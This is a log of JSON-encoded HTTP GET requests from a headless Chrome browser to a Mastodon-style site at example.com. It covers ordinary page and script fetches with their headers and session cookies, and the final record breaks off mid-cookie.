{"method": "GET", "target": "/packs/database-D_1Mbg_g.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/auth/edit", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqWmlabVkzTVdZMVlURXpZelkwTTJFelpUazNZVGcwTW1ObE1XRTJNV1UwSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6MzQ6NTkuODIyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--4351c8afb92d6b2c0536b7020c45f811d629a802; _mastodon_session=K1pk1JTWWlVjT11oK%2Fq%2FfGE4Tx32aDJODVBDx8MFp3AV%2FQj58i27HoeIwY49AI6q1bprv5%2Br9gKrof7XsNxxn5tReXkM4n7Jcmts2tou3D1rJtq6c5hIPDWF7eD69SfvreRcAttD6o1Iz9btDMOpfQKBn0%2Fp%2BLOj8rB3Dn%2FZfCIYNy3rfI9NODy1NL3IXRpeihMBQlQRmOUjdmYJxyj69u0xn7YhP2LtcaxoqYztqE4iZvUcq5smR2MCrZeORpTRGgXgYsXI6faap9sY0yo8ozRFCgz2mwnAxFqW3sE%2FHza7dmSwTWdTb%2FydJN1dtG5hDfwSfrNKP2q2ejGMH8hm%2BihQp658MA3VzU6CYhzzZmVXykA73YDKeKPzBP9%2F2B0DTgtwJKcF5OZs--vZgFBAv%2BiCLnYPwl--gb7SPq6pMfnQ0SQ73wsbDQ%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/home", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqWmlabVkzTVdZMVlURXpZelkwTTJFelpUazNZVGcwTW1ObE1XRTJNV1UwSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6MzQ6NTkuODIyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--4351c8afb92d6b2c0536b7020c45f811d629a802; _mastodon_session=K1pk1JTWWlVjT11oK%2Fq%2FfGE4Tx32aDJODVBDx8MFp3AV%2FQj58i27HoeIwY49AI6q1bprv5%2Br9gKrof7XsNxxn5tReXkM4n7Jcmts2tou3D1rJtq6c5hIPDWF7eD69SfvreRcAttD6o1Iz9btDMOpfQKBn0%2Fp%2BLOj8rB3Dn%2FZfCIYNy3rfI9NODy1NL3IXRpeihMBQlQRmOUjdmYJxyj69u0xn7YhP2LtcaxoqYztqE4iZvUcq5smR2MCrZeORpTRGgXgYsXI6faap9sY0yo8ozRFCgz2mwnAxFqW3sE%2FHza7dmSwTWdTb%2FydJN1dtG5hDfwSfrNKP2q2ejGMH8hm%2BihQp658MA3VzU6CYhzzZmVXykA73YDKeKPzBP9%2F2B0DTgtwJKcF5OZs--vZgFBAv%2BiCLnYPwl--gb7SPq6pMfnQ0SQ73wsbDQ%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/auth/edit", "headers": ["Host: example.com", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqWmlabVkzTVdZMVlURXpZelkwTTJFelpUazNZVGcwTW1ObE1XRTJNV1UwSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6MzU6MDEuMDU5WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--6c78b7fb3bec1ce605d39ee0aef03bde18540ca3; _mastodon_session=VIe15oPh2vxBOI2mENddhE8dwJu5zLG%2BNqG6TNxbzJ8rkncq%2FBoXLq%2BmSlA3%2FylpwLFu5CL%2FDFN3RLAfslhJFo%2FUAzoM8wHyLdXdIBga49tivHH9vPIaMRiibFeEtyBo71FfXm5dEcVO0r7ChYQgY5X%2FgMip3Y9xmlUrkB%2FIlNF58vmJNKqa87toSjsiFZRA28t77CmZ1CLdSD9wh0JwGnJI49bASQo9l8cM268Not5IOziRQbiRgnJ%2FpIA8rm80N9GZRrh2RJsnR0EMKjOLXCky7aEKGpD7QiawHibgQxFoxgtoYq30CxwONb7nJG%2FkVC0NGE1AzMty2NehgFea%2FNxInqKbZh1RGM8QmDyB3c5tR3E5RA97cjxAO7hNK7x5lnECUl6nYA1s--v%2FKn7kQWQ6mlSdW4--4ZtgcqEPjqZKHhpphX1Hig%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/notifications", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqWmlabVkzTVdZMVlURXpZelkwTTJFelpUazNZVGcwTW1ObE1XRTJNV1UwSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6MzU6MDEuMDg1WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--c3e621804b83e419e53240da45526963a03c5ebf; _mastodon_session=czJbA3y3k%2F1WDIHXTgXGCFLjJqzqNZJUS0RyxOagay9LjMXrSZk2z5HAC8YWgvfh6oSiD8XgcSb1rTO5kLsRomQLim0I0Z17ZDkJQnBo4UPW5MwJAOuuibdQJMMUm%2B79UjMOAdd9Hm%2BSPtHBq1XtuinptVeUko%2Brorb4WdC8pkNfedJK9D5W9WQuJLWdwhiCkKl19YAduVSOOuoCQGBhZHHoFzoRairx5rQANN1do7uHQ7Cqk8wukXAIezbN22svCTlBpL7R1zur%2FDYfQcap1NrMzMMLc8POt4296FMtGcXwqlwmy7PloAwcV1A50r%2BcZz%2FGehul21iSzHg5JsYuv%2Fkx8JiC43grUgIk4ZeitYCEZlRMEV3Mrw8iKKyEcTCOa4tlNxYbZXxr--7RU2Oc651EV%2BHj2h--Ut842kXYyHeUza298GjX2w%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/explore/tags", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqWmlabVkzTVdZMVlURXpZelkwTTJFelpUazNZVGcwTW1ObE1XRTJNV1UwSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDA6NDIuNTg3WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--87c3afaae3eaa8e0f540d7c72e6743cd8faf095b; _mastodon_session=Z%2FHxCqyWviABD16R7qGKiqAzID3lMEE480qUb40hJSW1AUNBQ8Pp4RneLTa5z3wqN3KDhvDf5WG8IOLjQyLqtWq0dreNkLQdPlisYhOdgXYZ0YknJ%2FJEuLDNFCteVDZfp4PZ6IaLQwn5grrGnEc5mli16xZo7I5yoOM2N%2FAgdtVI8C41B3e1AAoVgvz1VxFGVG4CFbJ4CWroiu5FASt9GCkk1f0dAKo6DXFTTF7fgmn%2Fb9DmaaGpwqPYMozL2SaG8Py9rolQ%2By6PAsVu4f1XZk2mcktwFoLom46o5k82NnDMQCdBNp7ywCN2Xr4U%2ByXOa%2Flp%2FEGbVN2Xqj2LisdGh1kgh80RftAz%2BLZgHKnoFQ5ZqarigOc3MUF26%2FO5p7Alk0vFylpe7Ok8--7XAIk5WiJgkyFfel--Wr8qrB8%2B1iphsrudj%2FhYlw%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/bookmarks", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqWmlabVkzTVdZMVlURXpZelkwTTJFelpUazNZVGcwTW1ObE1XRTJNV1UwSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDA6NDMuNzU3WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--ea6b466b8bec4c76412ea4a453e6e6cb17a2a16d; _mastodon_session=uMUdA%2FZkUkIsNTcVm5xNFIbkbY41NVjWKNyV7YM7HWBVbM%2BXhhlbMDrlKhs0GBtNydUCkCSIet2vRVFxBfagocRCw8T5j%2FQDI2ByYL9q6zyFLNVNcGfODdXNheb9NV96v%2BFpp3FV9a30%2BVL4tU%2FPmgt%2B6iYEWOSM9g7%2FYkfm0mxMYSzZ29D%2BeXPcuz%2B1wWAqc1zaukNeOWnmNhNYtCXo0q9MxihMjcMm7xFFCXYNVNnu0X9EJgiYPEgkH4TY4CjY29vym9wwd8xXRS0WdLV94ip0jYWT%2BpQEM6wAu%2B070nk2mF66vynvSqkQi22UzIREgWqXh2USzb1MwDTrDcA6unybeuT5357hsJ5GFgPGvmdo8UV1RGvR8%2FB4yxXnLbw5p6Vt690htq2n--QbvMozOJikK6v%2F4q--z34wtSG4CMOivJpbIXuB3w%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/favourites", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqWmlabVkzTVdZMVlURXpZelkwTTJFelpUazNZVGcwTW1ObE1XRTJNV1UwSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDA6NDQuNTgwWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--9ca0811041e2ee1dabbec4dd3c33287b25a24d15; _mastodon_session=xhHtAPWb1ZbYiwaWMeVqvRpUHosArXY%2FcQmAJD%2FL51LEbm7fcnnTquyiysgc24SNdNyBfmqoCp%2BlohPcmCAnX1GoUj7b5vvuUF9qPoxYquUAuIkZewOpvCQrWp0ga%2Fpg%2BchB%2BaHLQCe3IckkPOYomof7Y46mb3p%2FlwnXqXDapaG1%2Brp7%2B2OMlw3xxymiAnG4s6onZnkIHPmlKJtUaNJ6YvdcVya6o%2FQcKG0D4KHi7Tgx3xdjecSaWnBe8cI7VK19K8xSsndQGf84lgsd2KZPfSi5TvSdzRjwbbu%2Bnp%2B6SdiOKtA%2Bc9lDienbQIO%2FemBPP%2BJ2EEUZhKv8M7ldavyvmfRh%2FPXtqwsH2XPrb5gPVz2IMJALA12%2BKZJLJvRZWNCA7pYtQyqC1ljJ--2Yf%2BI%2FF8Bu1VJ%2Bzl--SrSqiXumHyabScDav1Fx6A%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/lists", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqWmlabVkzTVdZMVlURXpZelkwTTJFelpUazNZVGcwTW1ObE1XRTJNV1UwSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDA6NDUuNzE5WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--9ee5965103010e030cb0396380e7fbdec6617dcf; _mastodon_session=o3o%2FRFcyn%2BuuRiRl%2BSzOyChXsAViWJDFgDlwwu2e%2BJqAEJ6Bfb625g44ZGp7BzWmaI7D7eC6cnB5nYEzoa7c06DnqbW7uolbIZqNDvUjjI%2FtjOo3kwYI%2BkesIiLuoRQXT9uFqOgh8mhPYTYUyegGAP%2B7uEBHINnLMy3G%2FchGWI2%2BijGs1Rac%2BDuLFrD0Jus9SMmzQ7WIg8nIhALr2hrtuWBqhc7gZdH0dKdEj%2FFIx1DBlaUJA1L1Mx2Y7NbKVmPtzLoLt%2BcuwDjPedtKDB%2FhDoZ99fJ%2FS4nojcOoHlMAdL2%2By%2BfWbyZgAhilVO3F%2FAuZE3aFvSn50qIPSrfTr%2BHiAh3hasypCP3%2BDofzTfh6hrRu4np1t%2Bv2HEy%2BtIOxg1lqLdDW3fjtB9Ky--oXM4vBYbsNosJhp3--ACHEkQQO%2FxMEq%2BStXAcOPQ%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/directory", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqWmlabVkzTVdZMVlURXpZelkwTTJFelpUazNZVGcwTW1ObE1XRTJNV1UwSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDA6NDYuNTYwWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--a782fc312bdce7936f298948ecb580145e9b7101; _mastodon_session=DEmQEoeiY9ikVIZYOrjVXq%2FugxdZmclJYLglzbQE6VIg6nPwEFfIUNi78NcHtnygeFbe7TFeGvH1%2Bzn6kkUmWnMYxjtGBKLSUBUMyoQho3tl8orL%2FucOLSEr55joM7ZlsTIaxdWRd5IOxQ87vMooEfvTSVgscw4LOCERPKHIwEf%2F5Zz%2BRbrPCkXJ47ahozzESyxC7klyfY31bT%2FHnH0JV1W7mR6k1MwvzAqvK2Jo6VLFME%2Be5phOOhm1YAlt4YORfD6mnzbktsdvRVKBAkmKEXYYA3pzbGY3MSyCf72979lkzp5cIVtvk5Yn0t6M7aNmXsuln0EQANMqA4Na4Sep9KM32oqQl2jIKXekzrHufHVt5g%2Fmp530XnF57lbjEz%2FWMwLEvvGM0AKP--Hjns012KtGlLNccQ--gYPkBAWRUOUqympoNjMw%2FA%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/conversations", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqWmlabVkzTVdZMVlURXpZelkwTTJFelpUazNZVGcwTW1ObE1XRTJNV1UwSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDA6NDcuNjc0WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--b626440ceeb06d479e15138ccb5ff51c5742cc77; _mastodon_session=ZCZNRAgCGgSTqu3khOk%2FIvuOxgzjOcd%2BxASaH7ddiNv4sQAS6L%2F6CLDaD7lsPMkv5ywqI26ZZ91R%2BGhx60bGdG3xDVP1iOG6ga7E0beB0vdlQlT7ei84GB4fwpF9G9D%2BNuzbZVrnJeXK1vkwJeQtphze%2BftXmu%2Bd1BFm%2FLi22Uf6oMna%2FZLEX%2BkYiBbrJswQVpEPjWVMgouFyP87YxumiXj0QaPfYuWBjZ9U%2FTeQtf4LepFv%2BLHYBiAO1NW7VLcxL1Gkee2V8OyVr%2ByxmUbvmXneWLlZIU%2FPkw16%2BPtBUmYmLGrDUI%2Fm6oKKjlfw5IKpFeu92Uu%2Bocw59jrGR1Nkmc47n6%2FKnkHbT8THGs5hZ2gn4BxQndyBfiiYoPkzc1PxZ3UW%2BOWAIK4k--T5vZkHtDRj3o%2BXLx--PFJtAW7heHSYU9kyD4EcHw%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/@bob", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqWmlabVkzTVdZMVlURXpZelkwTTJFelpUazNZVGcwTW1ObE1XRTJNV1UwSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDA6NDguNTYzWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--64c828a301085a038d39938315981461a67d4c16; _mastodon_session=zw4TO2H7a2mvpfHCXxN28hFjkM2GDU1V9OpeNBMiQEZNhg51xYJYP8buMLut%2BQrFJkBYzYhJVbrMBqiQGtfEWMP7VHLaeVPE%2B805jhuhyC4c%2FQx9GAzBQdFKFtgYujti5EqZsJTCjpKYvTNlevywZYScudoMoMHsQR%2FYkuTh5ZFMI2%2FjhRrC6UIn23LUCwhVuQsHc1N5Y4bxITI2lDBuWnLXjUCIT2igQfAwANT9S7%2Fj9QQqZWUI%2BDeqdqaDQqpx%2FtBDx2ODv0G%2FsOh8NtdsPkDv4DcnxsMZzAD7JwhOmiwJ09gZq3GLcc0vdJ5uYLq5NKRGwQYEDwZuJ4y4TT1%2BI5N6tSFMyDGI57p0JH8Kb0FtoNFyonJ%2BbZHV%2B8bqXPjfKzbS9V797%2FCT--XmPJCLgRqFiHnUqa--M%2FmmtnAINXQ8JOSefE%2BQVw%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/packs/redux-toolkit.modern-DNDb-du5.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/@bob", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqWmlabVkzTVdZMVlURXpZelkwTTJFelpUazNZVGcwTW1ObE1XRTJNV1UwSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDA6NDkuNjcxWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--8c385e15467c9db67377396d7d4f36a9cb765abb; _mastodon_session=wjCgsZ2LULZeRy1xUcJtGn3ow5A5fSLS%2BnhuFU99JC10Z8wFR2exy%2FYkBrzX43hbbLLPiSKtFV0sOxDfMQ0jwBsf7TwXrRRrmIjOuo%2BLy5ytSmS37dobvsNk0kumq7X6HOfaA%2F9vrGGcrs06uU5opasPlfTHX5tAi%2Biw0%2BOHUN20vW%2BAV1gdP6lFRFz1c6q2ZSh5NW16JWveRwk68YctZobyaSFPgtI%2F%2B2idskh%2B1QJx640rRAVAf69tJCQWur3n%2BvOn7GSMMMTDJvRadmM%2BTlsADyG32ycyNhdP3TYcPJnIV9Av1yTFhcJyurh7nniHXDZOfDGtVvQBgqq5pi7QMNJ3VV78HxF5BezJqMcoEAT3KmgdUo2P%2FSZzG%2BDrjDkDFp3Her8zwBzX--gS5YEXYAUHPp9vf4--BMN2zjGddSKMAOIPcjPzqA%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/packs/blurhash-CM3tW5se.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/@bob", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqWmlabVkzTVdZMVlURXpZelkwTTJFelpUazNZVGcwTW1ObE1XRTJNV1UwSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDA6NDkuNjcxWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--8c385e15467c9db67377396d7d4f36a9cb765abb; _mastodon_session=wjCgsZ2LULZeRy1xUcJtGn3ow5A5fSLS%2BnhuFU99JC10Z8wFR2exy%2FYkBrzX43hbbLLPiSKtFV0sOxDfMQ0jwBsf7TwXrRRrmIjOuo%2BLy5ytSmS37dobvsNk0kumq7X6HOfaA%2F9vrGGcrs06uU5opasPlfTHX5tAi%2Biw0%2BOHUN20vW%2BAV1gdP6lFRFz1c6q2ZSh5NW16JWveRwk68YctZobyaSFPgtI%2F%2B2idskh%2B1QJx640rRAVAf69tJCQWur3n%2BvOn7GSMMMTDJvRadmM%2BTlsADyG32ycyNhdP3TYcPJnIV9Av1yTFhcJyurh7nniHXDZOfDGtVvQBgqq5pi7QMNJ3VV78HxF5BezJqMcoEAT3KmgdUo2P%2FSZzG%2BDrjDkDFp3Her8zwBzX--gS5YEXYAUHPp9vf4--BMN2zjGddSKMAOIPcjPzqA%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/packs/alt_text_badge-DgGj3HLf.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/@bob", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqWmlabVkzTVdZMVlURXpZelkwTTJFelpUazNZVGcwTW1ObE1XRTJNV1UwSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDA6NDkuNjcxWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--8c385e15467c9db67377396d7d4f36a9cb765abb; 